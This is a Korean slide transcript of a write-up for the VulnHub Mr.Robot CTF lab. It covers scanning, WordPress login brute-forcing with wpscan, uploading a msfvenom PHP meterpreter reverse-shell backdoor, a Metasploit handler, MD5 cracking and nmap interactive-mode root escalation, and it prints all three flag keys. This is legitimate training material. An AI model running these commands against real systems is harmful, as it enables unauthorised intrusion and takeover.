mr.robot ctf write-up (korean version)

36
Mr.Robot CTF Write-Up - Find three keys - by Alchemic (KoreaTech 이세한)

Post on 21-Feb-2017

758 views

Category:

Software


1 download

TRANSCRIPT

Mr.Robot CTF Write-Up- Find three keys -

by Alchemic(KoreaTech 이세한)

2

Mr.Robot CTF Write-Up

https://www.vulnhub.com/entry/mr-robot-1,151/

이 문제는 모의해킹 CTF 문제 중 하나입니다.

위 URL로 접속을 하면 VM이미지를 다운로드 받을 수 있습니다.(filetype : ova)

3

Mr.Robot CTF Write-Up

문제 설명에는 미국드라마인 [Mr.Robot] 을 배경으로 만든 문제라고 나와있습니다.

목표는 이 VM이미지를 실행시켜서 무엇인지 분석하고 세 개의 숨겨진 키를찾는 것입니다.

다른 힌트는 주어지지 않습니다.

4

Mr.Robot CTF Write-Up

Vmware를 이용하여 실행시키면 Ubuntu 기반의 리눅스가 실행되며,다음과 같은 로그인 화면이 나타나게 됩니다.

처음실행시키면 아이디와 비밀번호를 모르기 때문에 리눅스 로그인을할 수 없습니다.

5

Mr.Robot CTF Write-Up

모의해킹을 진행하기에 앞서 Attacker와 victim의 환경을 살펴보면 다음과 같습니다.

Attacker : Kali Linux 2.0 (공격자 시스템)

Victim : Ubuntu Linux 14.04.2 LTS (피해자 시스템)

본 Write-Up에서는 Kali Linux에 있는 툴들을 이용하여 진행하였습니다.

사용 툴(Using Tools)

• Zenmap (Nmap GUI Version)• Nikto• WPscan• Metasploit

6

Mr.Robot CTF Write-Up

본 write-up에서는 공격자의 시스템과 피해자의 시스템이 같은 네트워크 망을 사용하고있다고 가정을 하고 진행을 하였습니다. (본 write-up에서 사용한 네트워크 대역 : 192.168.238.***)

공격자와 피해자의 시스템이 같은 네트워크 망을 사용 중이므로 IP 주소 또한 같은대역일 것입니다.

먼저, [ifconfig] 명령어를 이용하여 공격자의 IP 주소를 알아내고, 해당하는 IP 주소 대역에 대하여 네트워크 호스트 스캐닝을 진행하면 피해자 시스템의 IP 주소를 알아낼 수 있을것입니다.

차례대로 진행을 하면 다음과 같이 피해자 시스템의 IP 주소를 획득 및 스캐닝을 통해 어떤서비스를 제공하고 있는지를 알 수 있습니다.

네트워크 호스트 스캐닝은 nmap을 이용하여 진행하면 됩니다.

#nmap –A [찾아낸 IP 주소 대역 입력] (ex. #nmap –A 192.168.121.*)

혹은 Zenmap을 이용하여 nmap 명령을 보다 간편하게 이용할 수 있습니다.

7

Mr.Robot CTF Write-Up

본 write-up에서는 Zenmap 툴을 이용하여 네트워크 호스트 스캐닝을 진행하였습니다.

8

Mr.Robot CTF Write-Up

이로써 피해자 호스트의 IP 주소가 [192.168.238.135] 라는 것을 알 수 있습니다.

또한 80번 포트와 443번 포트가 열려있으므로, HTTP/HTTPS 서비스가 실행 중이라는것을 알 수 있고, 이를 통해 웹 서버가 동작 중이라는 것을 유추할 수 있습니다.

웹 브라우저를 이용하여 접속을 해봅니다.

9

Mr.Robot CTF Write-Up

홈페이지에 어떠한 정보들이 있고 어떠한 취약점이 있는지를 확인하기 위해 [nikto] 툴을이용하여 조사합니다.

#nikto –h 192.168.238.135

10

Mr.Robot CTF Write-Up

먼저, robots.txt 파일을 확인해보도록 하겠습니다.

보통 robots.txt 파일에는 검색에서 제외시킬 항목들을 적어둡니다.

이를 확인하면 키를 찾는 것에 대한 단서를 찾을 수 있을 것입니다.

[fsocity.dic] 이라는 사전파일(Dictionary File)과 [key-1-of-3.txt] 파일을 발견할 수 있고,[key-1-of-3.txt] 파일을 통해 첫 번째 키를 발견할 수 있습니다.

11

Mr.Robot CTF Write-Up

The First Key is...

073403c8a58a1f80d943455fb30724b9

12

Mr.Robot CTF Write-Up

다음으로 [fsocity.dic] 파일을 확인해보겠습니다.

전형적인 사전파일(Dictionary File)로 나타나는 것을 확인할 수 있습니다.

13

Mr.Robot CTF Write-Up

이 사전 파일은 후에 어딘가에 사용할 수도 있으므로, 미리 다운로드 받습니다.

#wget http://192.168.238.135/fsocity.dic

14

Mr.Robot CTF Write-Up

[robots.txt] 파일은 조사했으니, 이제 관리자 로그인 페이지를 조사해보도록 합니다.

관리자 페이지로 접속을 합니다.

15

Mr.Robot CTF Write-Up

[fsocity.dic] 파일에 있는 임의의 단어들을 아이디로 입력을 하고 임의의 패스워드(1234)를입력을 해보았더니, 다음과 같은 결과가 나타났습니다.

아이디가 틀렸으면 알맞은 아이디가 아니라고 에러 메시지 내용이 출력되며, 아이디가맞으면 아이디와 패스워드가 일치하지 않는다고 내용이 출력이 되는 것을 확인할 수있습니다.

16

Mr.Robot CTF Write-Up

존재하는 아이디 ‘Elliot’을 찾았으므로, [fsocity.dic] 파일 내에서 ‘Elliot’이라는 아이디에맞는 패스워드를 찾기 위해 [wpscan] 툴을 이용합니다.

#wpscan --url http://192.168.238.135 --wordlist [fsocity.dic path] --username Elliot

17

Mr.Robot CTF Write-Up

ID : Elliot & PW : ER28-0652아이디와 비밀번호를 찾아냈으니 관리자 페이지에 로그인을 합니다.

18

Mr.Robot CTF Write-Up

관리자 페이지에 접속했습니다!이제 무엇이든 시도해볼 수 있을 것입니다.어떤 유저가 가입이 되어있는지도 볼 수 있습니다.

19

Mr.Robot CTF Write-Up

관리자 페이지에 로그인을 했으니 이제 백도어 쉘을 업로드하기 위해서 워드프레스에서제공하는 플러그인 중 [WP File Manager]를 설치합니다.

이를 통해 간단하게 파일을 업로드 할 수 있게 됩니다.

20

Mr.Robot CTF Write-Up

백도어 쉘을 만들기 위해 [msfvenom]을 사용합니다.

#msfvenom –p php/meterpreter_reverse_tcp lhost=(Attacker IP Address) lport=4444-f raw > shell.php

이렇게 명령어를 입력해서 [shell.php] 라는 백도어 쉘 파일을 생성합니다.(파일명은 다르게 변경할 수 있습니다.)

21

Mr.Robot CTF Write-Up

생성한 [shell.php] 파일을 관리자 페이지를 통해서 서버로 업로드를 합니다.

22

Mr.Robot CTF Write-Up

업로드한 파일의 경로를 확인하고 공격자 시스템에서백도어로 접속하기 위해 [msfconsole]을 실행합니다.(metasploit 툴)

23

Mr.Robot CTF Write-Up

[msf] 로 공격하기 위해 아래 명령어들을 입력하여 공격 설정을 진행합니다.

> use exploit/multi/handler> set payload php/meterpreter_reverse_tcp> set lport 4444> set lhost 192.168.238.134> exploit –j -z

이전에 업로드한 [shell.php]로 접근을 하면 공격자 시스템에서는 간단하게 미터프리터 쉘(Meterpreter Shell)을 획득할 수 있게 됩니다.

또한 쉘을 통해 리눅스 명령어(Linux Command)를 입력할 수 있게 됩니다.

간단하게 [sysinfo]와 [ls] 명령어를 입력하여 정보들을 확인해봅니다.

제대로 침투에 성공한 것을 확인할 수 있습니다.

24

Mr.Robot CTF Write-Up

25

Mr.Robot CTF Write-Up

홈 경로(Home path)로 이동을 해서 어떤 유저 폴더가 있는지를 확인합니다.

유저 중에 ‘robot’ 이라는 유저를 찾았습니다.

‘robot’ 폴더로 들어가서 어떤 파일들이 있는지를 확인해보겠습니다.

두 번째 key 파일과 패스워드 파일을 찾았습니다!

26

Mr.Robot CTF Write-Up

그러나 미터프리터 쉘(Meterpreter Shell)에서는 key 파일을 바로 열 수 없다고 나타납니다.

어떤 문제인지는 잘 모르겠지만 예상으로는 퍼미션(Permission) 문제인 것 같습니다.

우선 패스워드 파일을 먼저 살펴봅니다.

패스워드 파일에서 ‘robot’이라는 유저의 패스워드가 md5 hash로 표현되어 있습니다.

c3fcd3d76192e4007dfb496cca67e13b

이 md5 hash 가 무엇인지 알아보도록 하겠습니다.

27

Mr.Robot CTF Write-Up

구글 검색(Google Search)을 이용하면 쉽게 md5 hash crack 페이지를 찾을 수 있습니다.

이 페이지들 중 한 곳에서 hash cracking을 해보면 plain text를 얻을 수 있습니다.

Md5 hash : c3fcd3d76192e4007dfb496cca67e13b

Plain text : abcdefghijklmnopqrstuvwxyz

이렇게 패스워드를 찾을 수 있습니다.

패스워드까지 알아냈으므로 이제 본격적으로 리눅스에 로그인을 합니다.

28

Mr.Robot CTF Write-Up

‘robot’ 유저로 로그인을 성공하였습니다!

이제 key 파일을 찾아서 내용을 확인해보도록 합니다.

29

Mr.Robot CTF Write-Up

두 번째 Key 파일을 찾았습니다!

We found it!

30

Mr.Robot CTF Write-Up

The Second Key is...

822c73956184f694993bede3eb39f959

이제 마지막! 세 번째 키를 찾으러 여정을 떠나야합니다.

현재는 ‘robot’ 이라는 유저로 로그인을 한 상태이므로 이를 ‘root’로 바꿔서 들어가보도록하겠습니다.

일단 ‘root’ 계정 폴더로 들어가보도록 하겠습니다.

‘퍼미션 거부(Permission denied)’ 메시지가 출력됩니다.

어찌 보면 당연한 결과입니다.

이제 ‘root’ 권한(root permission) 획득(Get)이 남았는데… 어떻게 진행을 해야 할까요?

31

Mr.Robot CTF Write-Up

32

Mr.Robot CTF Write-Up

[nmap]의 ‘interactive’ mode 를 이용하면 됩니다.

(reference : https://www.exploit-db.com/papers/18168/)

‘interactive’ 모드에는 쉘을 실행시켜서 ‘root’ 권한으로 갈 수 있는 권한 상승 취약점(Privilege Escalation Vulnerability)이 존재합니다.

따라서 ‘interactive’ 모드를 활성화시키고 여기서 쉘을 실행시키면 바로 ‘root’ 권한으로넘어갈 수 있다는 것입니다.

이를 이용하여 시도를 해보도록 하겠습니다.

33

Mr.Robot CTF Write-Up

쉘을 실행시켰습니다.‘whoami’ 명령어를 이용하여 현재 어떤 유저로 로그인 되어있는지 확인해보겠습니다.

34

Mr.Robot CTF Write-Up

성공적으로 ‘root’ 권한으로의 권한 상승이 이루어졌습니다!(root privilege escalation success!)

그리고 ‘/root’ 디렉토리(Directory)에서 세 번째 키를 발견할 수 있습니다!

35

Mr.Robot CTF Write-Up

The Third Key is...

04787ddef27c3dee1ee161b21670b4e4

Thank You!Contact

[email protected]